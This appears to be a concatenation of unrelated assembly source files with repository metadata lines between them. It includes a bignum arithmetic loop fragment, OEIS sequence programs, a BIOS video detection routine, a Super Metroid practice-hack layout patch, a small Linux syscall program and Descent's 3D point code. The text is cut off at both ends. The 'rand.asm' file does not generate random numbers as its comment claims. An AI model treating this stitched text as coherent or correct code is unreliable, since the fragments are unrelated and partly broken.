(%r10,%r11,4), %r15 shr $62, %r11 ADDSUB (up,n,8), %r12 ADCSBB 8(up,n,8), %r14 ADCSBB 16(up,n,8), %r15 sbb R32(%rax), R32(%rax) C save carry for next mov %r12, (rp,n,8) mov %r14, 8(rp,n,8) mov %r15, 16(rp,n,8) add $3, n js L(top) jmp L(end) L(b01): mov %r8, %r11 ADDSUB (up,n,8), %r12 sbb R32(%rax), R32(%rax) C save carry for next mov %r12, (rp,n,8) add $1, n js L(top) jmp L(end) L(b10): mov 8(vp,n,8), %r11 lea (%r8,%r11,4), %r15 shr $62, %r11 ADDSUB (up,n,8), %r12 ADCSBB 8(up,n,8), %r15 sbb R32(%rax), R32(%rax) C save carry for next mov %r12, (rp,n,8) mov %r15, 8(rp,n,8) add $2, n js L(top) jmp L(end) L(b00): mov 8(vp,n,8), %r9 mov 16(vp,n,8), %r10 jmp L(e00) ALIGN(16) L(top): mov 16(vp,n,8), %r10 mov (vp,n,8), %r8 mov 8(vp,n,8), %r9 lea (%r11,%r8,4), %r12 shr $62, %r8 L(e00): lea (%r8,%r9,4), %r13 shr $62, %r9 mov 24(vp,n,8), %r11 lea (%r9,%r10,4), %r14 shr $62, %r10 lea (%r10,%r11,4), %r15 shr $62, %r11 add R32(%rax), R32(%rax) C restore carry ADCSBB (up,n,8), %r12 ADCSBB 8(up,n,8), %r13 ADCSBB 16(up,n,8), %r14 ADCSBB 24(up,n,8), %r15 mov %r12, (rp,n,8) mov %r13, 8(rp,n,8) mov %r14, 16(rp,n,8) sbb R32(%rax), R32(%rax) C save carry for next mov %r15, 24(rp,n,8) add $4, n js L(top) L(end): ifdef(`OPERATION_addlsh2_n',` sub R32(%r11), R32(%rax) neg R32(%rax)') ifdef(`OPERATION_rsblsh2_n',` add R32(%r11), R32(%rax) movslq R32(%rax), %rax') pop %r15 pop %r14 pop %r13 pop %r12 ret EPILOGUE()
21.941935
79
0.632755
c9b50be54209b85046a72bbbc945cff01727691c
284
asm
Assembly
programs/oeis/054/A054577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/054/A054577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/054/A054577.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A054577: A Catalan-like sequence. ; 0,1,4,11,36,115,381,1287,4420,15396,54264,193154,693373,2507287,9124560,33393355,122821380,453756765,1683107800,6265751310,23402516280,87670790155,329337229104,1240292449350,4681874312509 add $0,1 mov $2,$0 mul $0,2 bin $0,$2 add $2,2 div $0,$2
28.4
189
0.774648
3238b79ad4978a59548a40116a947ffa586bf104
2,200
nasm
Assembly
bios.nasm
fasync/Syndicate
e206c600bf811aa3e30ba60d305728dd8bebfbf0
[ "BSD-2-Clause" ]
1
2021-03-02T23:29:32.000Z
2021-03-02T23:29:32.000Z
bios.nasm
fasync/Syndicate
e206c600bf811aa3e30ba60d305728dd8bebfbf0
[ "BSD-2-Clause" ]
null
null
null
bios.nasm
fasync/Syndicate
e206c600bf811aa3e30ba60d305728dd8bebfbf0
[ "BSD-2-Clause" ]
null
null
null
;; Copyright (c) 2021, Florian Buestgens ;; All rights reserved. ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; 1. Redistributions of source code must retain the above copyright ;; notice, this list of conditions and the following disclaimer. ;; ;; 2. Redistributions in binary form must reproduce the above copyright notice, ;; this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; ;; THIS SOFTWARE IS PROVIDED BY Florian Buestgens ''AS IS'' AND ANY ;; EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED ;; WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL Florian Buestgens BE LIABLE FOR ANY ;; DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES ;; (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; ;; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ;; ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS ;; SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; bios.nasm ;; Routine for detecting the BIOS ;; Try to detect EGA, VGA or VESA BIOS detect_bios: push ax push bx push cx push dx ;; Get EGA Info http://www.ctyme.com/intr/rb-0162.htm mov ah, 0x12 mov bl, 0x10 int 0x10 cmp bl, 0x10 jne _detect_bios_success ;; Get VGA Info http://www.ctyme.com/intr/rb-0219.htm mov ax, 0x1A00 int 0x10 cmp al, 0x1A ; Function was supported je _detect_bios_success ;; Get SuperVGA Info http://www.ctyme.com/intr/rb-0273.htm mov ax, __vesa_info_buffer mov es, ax xor di, di mov ax, 0x4F00 int 0x10 cmp ax, 0x004F je _detect_bios_success _detect_bios_error: mov si, __msg_detect_bios_error call printer jmp $ _detect_bios_success: pop dx pop cx pop bx pop ax ret __msg_detect_bios_error: db 0xD, 0xE, `Error: Could not detect BIOS.`, 0x00 __vesa_info_buffer: db 256
29.72973
83
0.744545
503bcfac8d9cab07d03a93775a5a64627a89e2f7
462
asm
Assembly
oeis/028/A028331.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/028/A028331.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/028/A028331.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A028331: Elements to the right of the central elements of the even-Pascal triangle A028326 that are not 2. ; Submitted by Jon Maiga ; 6,8,20,10,30,12,70,42,14,112,56,16,252,168,72,18,420,240,90,20,924,660,330,110,22,1584,990,440,132,24,3432,2574,1430,572,156,26,6006,4004,2002,728,182,28,12870,10010,6006,2730,910,210,30,22880,16016 seq $0,14411 ; Triangular array formed from elements to right of middle of rows of Pascal's triangle that are not 1. mul $0,2
66
200
0.755411
a3f44f10462be55471cb08846852af2e978d30b2
14,330
asm
Assembly
src/layout.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
null
null
null
src/layout.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
null
null
null
src/layout.asm
idlechild/sm_practice_hack
3cc51e8f12cfe42fd360f7cfaa90fa767a06c8c7
[ "Unlicense" ]
null
null
null
; Crab Shaft save station load point org $80C995 db #$A3, #$D1, #$68, #$A4, #$00, #$00, #$00, #$00, #$00, #$02, #$78, #$00, #$60, #$00 ; Main Street save station load point org $80C9A3 db #$C9, #$CF, #$D8, #$A3, #$00, #$00, #$00, #$01, #$00, #$05, #$78, #$00, #$10, #$00 ; Crab Shaft save station map icon location org $82CA17 db #$90, #$00, #$50, #$00 ; Main Street save station map icon location org $82CA1B db #$58, #$00, #$78, #$00 ; Hijack room transition between loading level data and setting up scrolling org $82E388 dw hijack_after_load_level_data ; Hijack call to create door closing PLM org $82E4C9 JSR hijack_door_closing_plm org $82F800 print pc, " layout bank82 start" hijack_after_load_level_data: { LDA $079B : CMP #$D6FD : BNE .done LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ .done ; Aqueduct Farm Sand Pit needs to be handled before the door scroll JSL layout_asm_aqueductfarmsandpit_external .done JMP $E38E } hijack_door_closing_plm: { PHP : PHB %ai16() LDA $078D : CMP #$A654 : BNE .done LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BNE .done ; Aqueduct Farm Sand Pit should not have a door closing PLM ; if using the warp door while Area Rando off PLB : PLP : RTS .done JMP $E8EF } print pc, " layout bank82 end" warnpc $82FA00 ; East Ocean left door asm pointer org $838A88 dw #layout_asm_eastocean ; Green Hill Zone top-left door asm pointer org $838DF4 dw #layout_asm_greenhillzone ; Green Hill Zone top-right door asm pointer org $838EA8 dw #layout_asm_greenhillzone ; Green Hill Zone bottom-right door asm pointer org $838F08 dw #layout_asm_greenhillzone ; Caterpillar middle-left door asm pointer org $839094 ; Use same asm as elevator door, freeing up asm at $BE1A dw $BA21 ; Caterpillar top-left door asm pointer org $8390E8 dw #layout_asm_caterpillar_no_scrolls ; East Tunnel bottom-right door asm pointer org $839238 ; Use same asm as bottom-left door dw $E345 ; Caterpillar near-right door asm pointer org $839274 dw #layout_asm_caterpillar_no_scrolls ; Single Chamber top-left door asm pointer org $83958C dw #layout_asm_singlechamber ; Single Chamber near-top-right door asm pointer org $839610 dw #layout_asm_singlechamber ; Single Chamber near-middle-right door asm pointer org $83961C dw #layout_asm_singlechamber ; Single Chamber near-bottom-right door asm pointer org $839640 dw #layout_asm_singlechamber ; Single Chamber far-top-right door asm pointer org $839A54 dw #layout_asm_singlechamber ; East Ocean right door asm pointer org $83A26E dw #layout_asm_eastocean ; Main Street bottom door asm pointer org $83A33A dw #layout_asm_mainstreet ; Crab Tunnel left door asm pointer org $83A3B2 dw #layout_asm_crabtunnel ; Main Street middle-right door asm pointer org $83A3E2 dw #layout_asm_mainstreet ; Main Street bottom-right door asm pointer org $83A41E dw #layout_asm_mainstreet ; Main Street top-right door asm pointer org $83A442 dw #layout_asm_mainstreet ; Main Street hidden door asm pointer org $83A45A dw #layout_asm_mainstreet ; Crab Shaft left door asm pointer org $83A472 dw #layout_asm_crabshaft_no_scrolls ; Crab Shaft top door asm pointer org $83A4EA dw #layout_asm_crabshaft_no_scrolls ; Crab Tunnel right door asm pointer org $83A502 dw #layout_asm_crabtunnel ; East Tunnel top-right door asm pointer org $83A51A dw #layout_asm_easttunnel_no_scrolls ; West Sand Hall left door asm pointer org $83A53E dw #layout_asm_westsandhall ; West Sand Hall unused door definition org $83A654 dw #$D6FD db #$00, #$05, #$3E, #$06, #$03, #$00 dw #$8000 dw #$0000 ; West Sand Hall right door asm pointer org $83A66A dw #layout_asm_westsandhall ; West Sand Hall top sand door asm pointer org $83A6BE dw #layout_asm_westsandhall ; Mother Brain right door asm pointer org $83AAD2 dw #layout_asm_mbhp ; Mother Brain left door asm pointer org $83AAEA dw #layout_asm_mbhp ; Magnet Stairs left door asm pointer org $83AB6E dw #layout_asm_magnetstairs ; Magnet Stairs right door asm pointer org $83AB92 dw #layout_asm_magnetstairs ; Allow debug save stations to be used org $848D0C AND #$000F ; Caterpillar elevator and middle-left door asm org $8FBA26 ; Replace STA with jump to STA JMP layout_asm_caterpillar_update_scrolls ; Caterpillar bottom-left door asm org $8FBE18 ; Overwrite PLP : RTS with jump ; Okay to overwrite $BE1A since we freed up that space JMP layout_asm_caterpillar_after_scrolls ; Aqueduct Farm Sand Pit header org $8FD706 dw layout_asm_aqueductfarmsandpit_door_list ; Ceres Ridley modified state check to support presets org $8FE0C0 dw layout_asm_ceres_ridley_room_state_check ; Ceres Ridley room setup asm when timer is not running org $8FE0DF dw layout_asm_ceres_ridley_room_no_timer ; East Tunnel bottom-left and bottom-right door asm org $8FE34E ; Optimize existing logic by one byte INC : STA $7ECD24 ; Overwrite extra byte : PLP : RTS with jump JMP layout_asm_easttunnel_after_scrolls ; Caterpillar far-right door asm org $8FE370 ; Optimize existing logic by one byte INC : STA $7ECD2A ; Overwrite extra byte : PLP : RTS with jump JMP layout_asm_caterpillar_after_scrolls ; Crab Shaft right door asm org $8FE39D ; Replace STA with jump to STA JMP layout_asm_crabshaft_update_scrolls org $8FEA00 ; free space for door asm print pc, " layout start" layout_asm_mbhp: { LDA !sram_display_mode : BNE .done LDA #!IH_MODE_ROOMSTRAT_INDEX : STA !sram_display_mode LDA #!IH_STRAT_MBHP_INDEX : STA !sram_room_strat .done RTS } layout_asm_ceres_ridley_room_state_check: { LDA $0943 : BEQ .no_timer LDA $0001,X : TAX JMP $E5E6 .no_timer STZ $093F INX : INX : INX RTS } layout_asm_ceres_ridley_room_no_timer: { ; Same as original setup asm, except force blue background PHP SEP #$20 LDA #$66 : STA $5D PLP JSL $88DDD0 LDA #$0009 : STA $07EB RTS } layout_asm_magnetstairs: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_MAGNET_STAIRS : BEQ layout_asm_magnetstairs_done ; Modify graphics to indicate magnet stairs removed %a8() LDA #$47 : STA $7F01F8 : STA $7F02EA ; Convert solid tiles to slope tiles LDA #$10 : STA $7F01F9 : STA $7F02EB LDA #$53 : STA $7F64FD : STA $7F6576 } layout_asm_magnetstairs_done: PLP RTS layout_asm_greenhillzone: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_magnetstairs_done ; Remove gate and corner tile next to gate LDA #$00FF : STA $7F37C8 : STA $7F37CA : STA $7F37CC STA $7F38CA : STA $7F39CA : STA $7F3ACA : STA $7F3BCA ; Clear gate PLMs and projectiles LDA #$0000 : STA $1C83 : STA $1C85 : STA $19B9 ; Add platform for ease of access to top-right door %a8() LDA #$6A : STA $7F0F24 : LDA #$6C : STA $7F0F26 LDA #$81 : STA $7F0F25 : STA $7F0F27 ; Move corner tiles next to gate up one LDA #$78 : STA $7F36CA : LDA #$79 : STA $7F36CC ; Normal BTS for gate tiles LDA #$00 : STA $7F7FE5 : STA $7F7FE6 STA $7F8066 : STA $7F80E6 : STA $7F8166 : STA $7F81E6 } layout_asm_greenhillzone_done: PLP RTS layout_asm_caterpillar_no_scrolls: PHP BRA layout_asm_caterpillar_after_scrolls layout_asm_caterpillar_update_scrolls: STA $7ECD26 layout_asm_caterpillar_after_scrolls: { %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_greenhillzone_done ; Decorate gap with blocks LDA #$8562 : STA $7F145E : STA $7F1460 : STA $7F151E : STA $7F1520 ; Fix wall decoration below blocks LDA #$8543 : STA $7F157E : LDA #$8522 : STA $7F1580 ; Create visible gap in wall LDA #$00FF : STA $7F14BE : STA $7F14C0 ; Remove gate and block next to gate STA $7F142C : STA $7F142E : STA $7F1430 STA $7F148E : STA $7F14EE : STA $7F154E : STA $7F15AE ; Clear gate PLMs and projectiles LDA #$0000 : STA $1C7B : STA $1C7D : STA $19B9 ; Normal BTS for gate tiles %a8() LDA #$00 : STA $7F6E17 : STA $7F6E18 : STA $7F6E19 STA $7F6E48 : STA $7F6E78 : STA $7F6EA8 : STA $7F6ED8 } layout_asm_caterpillar_done: PLP RTS layout_asm_singlechamber: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_caterpillar_done ; Move right wall back one to create a ledge LDA #$810C : STA $7F06E0 : STA $7F0A9E LDA #$8507 : STA $7F07A0 : STA $7F0920 LDA #$8505 : STA $7F0860 : STA $7F09E0 ; Clear out the ledge LDA #$00FF : STA $7F06DE : STA $7F079E STA $7F085E : STA $7F091E : STA $7F09DE ; Remove crumble blocks from vertical shaft STA $7F05E0 : STA $7F05E2 STA $7F06A0 : STA $7F06A2 : STA $7F0760 : STA $7F0762 ; Remove blocks from horizontal shaft STA $7F061E : STA $7F0620 : STA $7F0624 ; Careful with the block that is also a scroll block LDA #$30FF : STA $7F0622 ; Normal BTS for crumble blocks %a8() LDA #$00 : STA $7F66F1 : STA $7F66F2 STA $7F6751 : STA $7F6752 : STA $7F67B1 : STA $7F67B2 } layout_asm_singlechamber_done: PLP RTS layout_asm_crabtunnel: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_singlechamber_done ; Replace top of gate with slope tiles LDA #$1D87 : STA $7F039C : LDA #$1194 : STA $7F039E ; Fix tiles to the right of the gate LDA #$89A0 : STA $7F03A0 : LDA #$811D : STA $7F0320 ; Remove remaining gate tiles LDA #$00FF : STA $7F041E : STA $7F049E : STA $7F051E : STA $7F059E ; Clear gate PLMs and projectiles LDA #$0000 : STA $1C83 : STA $1C85 : STA $19B9 ; Slope BTS for top of the gate tiles %a8() LDA #$D2 : STA $7F65CF : LDA #$92 : STA $7F65D0 ; Normal BTS for remaining gate tiles LDA #$00 : STA $7F6610 : STA $7F6650 : STA $7F6690 : STA $7F66D0 } layout_asm_crabtunnel_done: PLP RTS layout_asm_easttunnel_no_scrolls: PHP layout_asm_easttunnel_after_scrolls: { %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_crabtunnel_done ; Clear gate PLMs and projectiles LDA #$0000 : STA $1C7B : STA $1C7D : STA $19B9 ; Remove gate tiles LDA #$00FF : STA $7F02AE : STA $7F02B0 STA $7F032E : STA $7F03AE : STA $7F042E : STA $7F04AE ; Remove blocks from vertical shaft STA $7F078C : STA $7F088C : STA $7F090C STA $7F098C : STA $7F0A0C : STA $7F0A8C ; Careful with the block that is also a scroll block LDA #$30FF : STA $7F080C ; Normal BTS for gate tiles %a8() LDA #$00 : STA $7F6558 : STA $7F6559 STA $7F6598 : STA $7F65D8 : STA $7F6618 : STA $7F6658 ; Decorate vertical shaft LDA #$22 : STA $7F070A : STA $7F070E STA $7F078A : STA $7F078E : STA $7F080A : STA $7F080E STA $7F088A : STA $7F088E : STA $7F090A : STA $7F090E STA $7F098A : STA $7F098E : STA $7F0A0A : STA $7F0A0E LDA #$85 : STA $7F078B : STA $7F080B : STA $7F088B STA $7F090B : STA $7F098B : STA $7F0A0B STA $7F0A8A : STA $7F0A8E LDA #$8D : STA $7F0A8B } layout_asm_easttunnel_done: PLP RTS layout_asm_eastocean: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_easttunnel_done ; Add platforms for ease of access to right door LDA #$8100 : STA $7F4506 : STA $7F4876 INC : STA $7F4508 : STA $7F4878 LDA #$8501 : STA $7F450A : STA $7F487A DEC : STA $7F450C : STA $7F487C LDA #$1120 : STA $7F45E6 : STA $7F4956 INC : STA $7F45E8 : STA $7F4958 LDA #$1521 : STA $7F45EA : STA $7F495A DEC : STA $7F45EC : STA $7F495C ; Slope BTS for platform bottoms %a8() LDA #$94 : STA $7F86F4 : STA $7F88AC INC : STA $7F86F5 : STA $7F88AD LDA #$D5 : STA $7F86F6 : STA $7F88AE DEC : STA $7F86F7 : STA $7F88AF } layout_asm_eastocean_done: PLP RTS layout_asm_crabshaft_no_scrolls: PHP BRA layout_asm_crabshaft_after_scrolls layout_asm_crabshaft_update_scrolls: STA $7ECD26 layout_asm_crabshaft_after_scrolls: { %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_eastocean_done ; Clear space above save station LDA #$00FF : STA $7F095C : STA $7F095E ; Add save station PLM %ai16() PHX : LDX #layout_asm_crabshaft_plm_data JSL $84846A : PLX } layout_asm_crabshaft_done: PLP RTS layout_asm_crabshaft_plm_data: db #$6F, #$B7, #$0D, #$29, #$09, #$00 layout_asm_mainstreet: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_crabshaft_done ; Add save station PLM %ai16() PHX : LDX #layout_asm_mainstreet_plm_data JSL $84846A : PLX } layout_asm_mainstreet_done: PLP RTS layout_asm_mainstreet_plm_data: db #$6F, #$B7, #$18, #$59, #$0A, #$00 layout_asm_aqueductfarmsandpit_door_list: dw #$A7D4, #$A534 layout_asm_aqueductfarmsandpit_external: { ; Place door BTS %a8() LDA #$40 : STA $7F65C0 : LDA #$FF : STA $7F6600 DEC : STA $7F6640 : DEC : STA $7F6680 : LDA #$01 STA $7F65C1 : STA $7F6601 : STA $7F6641 : STA $7F6681 ; Move right wall one to the left %a16() LDA #$8A09 : STA $7F01FE : LDA #$820E : STA $7F067E LDA #$820A : STA $7F027E : STA $7F05FE LDA #$8A0B : STA $7F02FE : LDA #$8A07 : STA $7F0300 LDA #$820B : STA $7F057E : LDA #$8207 : STA $7F0580 ; Fill in area behind the wall LDA #$8210 : STA $7F0200 : STA $7F0280 : STA $7F0600 : STA $7F0680 ; Place the door LDA #$C00C : STA $7F037E : LDA #$9040 : STA $7F0380 LDA #$D02C : STA $7F03FE : LDA #$9060 : STA $7F0400 LDA #$D82C : STA $7F047E : LDA #$9860 : STA $7F0480 LDA #$D80C : STA $7F04FE : LDA #$9840 : STA $7F0500 RTL } layout_asm_westsandhall: { PHP %a16() LDA !sram_room_layout : BIT !ROOM_LAYOUT_AREA_RANDO : BEQ layout_asm_westsandhall_done ; Change left door BTS to previously unused door %a8() LDA #$02 : STA $7F6582 : STA $7F65C2 : STA $7F6602 : STA $7F6642 } layout_asm_westsandhall_done: PLP RTS print pc, " layout end"
24.206081
93
0.680879
0ab47dad782abd8b76d3651b2e0e0fd1c371c362
276
asm
Assembly
rand.asm
DKhitrina/labyrinth
d680b0ef13b692deec2351748fa46f229b4e1cc0
[ "MIT" ]
null
null
null
rand.asm
DKhitrina/labyrinth
d680b0ef13b692deec2351748fa46f229b4e1cc0
[ "MIT" ]
null
null
null
rand.asm
DKhitrina/labyrinth
d680b0ef13b692deec2351748fa46f229b4e1cc0
[ "MIT" ]
null
null
null
global _start section.text ;generate pseudo-random numbers ;spoils eax, ebx, edx _start: mov eax, 13 mov ebx, 0 int 80h mov ecx, eax add ecx, '0' mov eax, 4 ;write mov ebx, 1 mov ecx, edi mov edx, 4 int 80h mov eax, 1 ;exit mov ebx, 0 int 80h
12
31
0.626812
1f066fbeb89a9285c551f975faf30ba6b9464791
7,022
asm
Assembly
3d/points.asm
arbruijn/d1dos
00b969f31fd475530e7e24d7e9759c70705634e0
[ "Unlicense" ]
2
2022-01-15T17:56:45.000Z
2022-02-16T17:58:02.000Z
3d/points.asm
arbruijn/d1dos
00b969f31fd475530e7e24d7e9759c70705634e0
[ "Unlicense" ]
1
2022-02-16T18:08:42.000Z
2022-02-21T07:42:27.000Z
3d/points.asm
arbruijn/d1dos
00b969f31fd475530e7e24d7e9759c70705634e0
[ "Unlicense" ]
null
null
null
;THE COMPUTER CODE CONTAINED HEREIN IS THE SOLE PROPERTY OF PARALLAX ;SOFTWARE CORPORATION ("PARALLAX"). PARALLAX, IN DISTRIBUTING THE CODE TO ;END-USERS, AND SUBJECT TO ALL OF THE TERMS AND CONDITIONS HEREIN, GRANTS A ;ROYALTY-FREE, PERPETUAL LICENSE TO SUCH END-USERS FOR USE BY SUCH END-USERS ;IN USING, DISPLAYING, AND CREATING DERIVATIVE WORKS THEREOF, SO LONG AS ;SUCH USE, DISPLAY OR CREATION IS FOR NON-COMMERCIAL, ROYALTY OR REVENUE ;FREE PURPOSES. IN NO EVENT SHALL THE END-USER USE THE COMPUTER CODE ;CONTAINED HEREIN FOR REVENUE-BEARING PURPOSES. THE END-USER UNDERSTANDS ;AND AGREES TO THE TERMS HEREIN AND ACCEPTS THE SAME BY USE OF THIS FILE. ;COPYRIGHT 1993-1998 PARALLAX SOFTWARE CORPORATION. ALL RIGHTS RESERVED. ; ; $Source: f:/miner/source/3d/rcs/points.asm $ ; $Revision: 1.13 $ ; $Author: matt $ ; $Date: 1995/02/09 22:00:05 $ ; ; Source for point definition, rotation, etc. ; ; $Log: points.asm $ ; Revision 1.13 1995/02/09 22:00:05 matt ; Removed dependence on divide overflow handler; we now check for overflow ; before dividing. This fixed problems on some TI chips. ; ; Revision 1.12 1994/11/11 19:22:06 matt ; Added new function, g3_calc_point_depth() ; ; Revision 1.11 1994/07/25 00:00:04 matt ; Made 3d no longer deal with point numbers, but only with pointers. ; ; Revision 1.10 1994/07/21 09:53:32 matt ; Made g3_point_2_vec() take 2d coords relative to upper left, not center ; ; Revision 1.9 1994/02/10 18:00:41 matt ; Changed 'if DEBUG_ON' to 'ifndef NDEBUG' ; ; Revision 1.8 1994/02/09 11:48:55 matt ; Added delta rotation functions ; ; Revision 1.7 1994/01/13 15:39:39 mike ; Change usage of Frame_count to _Frame_count. ; ; Revision 1.6 1993/12/21 20:35:35 matt ; Fixed bug that left register pushed if point was already projected in ; g3_project_list() ; ; Revision 1.5 1993/12/21 11:45:37 matt ; Fixed negative y bug in g3_point_2_vec() ; ; Revision 1.4 1993/12/20 20:21:51 matt ; Added g3_point_2_vec() ; ; Revision 1.3 1993/11/21 20:08:41 matt ; Added function g3_rotate_point() ; ; Revision 1.2 1993/11/04 18:49:17 matt ; Added system to only rotate points once per frame ; ; Revision 1.1 1993/10/29 22:20:27 matt ; Initial revision ; ; ; .386 option oldstructs .nolist include types.inc include psmacros.inc include gr.inc include 3d.inc .list assume cs:_TEXT, ds:_DATA _DATA segment dword public USE32 'DATA' rcsid db "$Id: points.asm 1.13 1995/02/09 22:00:05 matt Exp $" align 4 tempv vms_vector <> tempm vms_matrix <> _DATA ends _TEXT segment dword public USE32 'CODE' ;finds clipping codes for a point. takes eax=point. fills in p3_codes, ;and returns codes in bl. g3_code_point: code_point: push ecx xor bl,bl ;clear codes mov ecx,[eax].z ;get z cmp [eax].x,ecx ;x>z? jle not_right or bl,CC_OFF_RIGHT not_right: cmp [eax].y,ecx ;y>z? jle not_top or bl,CC_OFF_TOP not_top: neg ecx js not_behind or bl,CC_BEHIND not_behind: cmp [eax].x,ecx ;x<-z? jge not_left or bl,CC_OFF_LEFT not_left: cmp [eax].y,ecx ;y<-z jge not_bot or bl,CC_OFF_BOT not_bot: pop ecx mov [eax].p3_codes,bl ret ;rotate a point. don't look at rotated flags ;takes esi=dest point, esi=src vector ;returns bl=codes g3_rotate_point: pushm eax,ecx,esi,edi push edi ;save dest lea eax,tempv lea edi,View_position call vm_vec_sub mov esi,eax pop eax lea edi,View_matrix call vm_vec_rotate mov [eax].p3_flags,0 ;not projected ;;mov bx,_Frame_count ;curren frame ;;mov [eax].p3_frame,bx call code_point popm eax,ecx,esi,edi ret ;projects a point. takes esi=point g3_project_point: ;;ifndef NDEBUG ;; push eax ;; mov ax,[esi].p3_frame ;; cmp ax,_Frame_count ;; break_if ne,'Trying to project unrotated point!' ;; pop eax ;;endif test [esi].p3_flags,PF_PROJECTED jnz no_project test [esi].p3_codes,CC_BEHIND jnz no_project pushm eax,edx mov eax,[esi].x imul Canv_w2 proj_div0: divcheck [esi].z,div_overflow_handler idiv [esi].z add eax,Canv_w2 mov [esi].p3_sx,eax mov eax,[esi].y imul Canv_h2 proj_div1: divcheck [esi].z,div_overflow_handler idiv [esi].z neg eax add eax,Canv_h2 mov [esi].p3_sy,eax or [esi].p3_flags,PF_PROJECTED ;projected popm eax,edx no_project: ret div_overflow_handler: ;int 3 mov [esi].p3_flags,PF_OVERFLOW popm eax,edx ret ;from a 2d point on the screen, compute the vector in 3-space through that point ;takes eax,ebx = 2d point, esi=vector ;the 2d point is relative to the center of the canvas g3_point_2_vec: pushm ecx,edx,esi,edi push esi lea esi,tempv ;;mov edx,eax ;;xor eax,eax ;;idiv Canv_w2 sal eax,16 sub eax,Canv_w2 fixdiv Canv_w2 imul Matrix_scale.z idiv Matrix_scale.x mov [esi].x,eax ;;mov edx,ebx ;;xor eax,eax ;;sub Canv_h2 ;;idiv Canv_h2 mov eax,ebx sal eax,16 sub eax,Canv_h2 fixdiv Canv_h2 imul Matrix_scale.z idiv Matrix_scale.y neg eax mov [esi].y,eax mov [esi].z,f1_0 call vm_vec_normalize ;get normalized rotated vec lea edi,tempm lea esi,Unscaled_matrix call vm_copy_transpose_matrix pop eax ;get dest lea esi,tempv ;edi=matrix call vm_vec_rotate popm ecx,edx,esi,edi ret ;rotate a delta y vector. takes edi=dest vec, ebx=delta y g3_rotate_delta_y: pushm eax,edx mov eax,View_matrix.m4 fixmul ebx mov [edi].x,eax mov eax,View_matrix.m5 fixmul ebx mov [edi].y,eax mov eax,View_matrix.m6 fixmul ebx mov [edi].z,eax popm eax,edx ret ;rotate a delta x vector. takes edi=dest vec, ebx=delta x g3_rotate_delta_x: pushm eax,edx mov eax,View_matrix.m1 fixmul ebx mov [edi].x,eax mov eax,View_matrix.m2 fixmul ebx mov [edi].y,eax mov eax,View_matrix.m3 fixmul ebx mov [edi].z,eax popm eax,edx ret ;rotate a delta x vector. takes edi=dest vec, ebx=delta z g3_rotate_delta_z: pushm eax,edx mov eax,View_matrix.m7 fixmul ebx mov [edi].x,eax mov eax,View_matrix.m8 fixmul ebx mov [edi].y,eax mov eax,View_matrix.m9 fixmul ebx mov [edi].z,eax popm eax,edx ret ;rotate a delta vector. takes edi=dest vec, esi=src vec g3_rotate_delta_vec: pushm eax,edi mov eax,edi lea edi,View_matrix call vm_vec_rotate popm eax,edi ret ;adds a delta vector to a point. takes eax=dest point, esi=src pnt, edi=delta vec ;returns bl=codes. g3_add_delta_vec: ;;ifndef NDEBUG ;; push eax ;; mov ax,[esi].p3_frame ;; cmp ax,_Frame_count ;; break_if ne,'Trying to add delta to unrotated point!' ;; pop eax ;;endif call vm_vec_add ;;mov bx,_Frame_count ;;mov [eax].p3_frame,bx mov [eax].p3_flags,0 ;not projected call g3_code_point ret ;calculate the depth of a point - returns the z coord of the rotated point ;takes 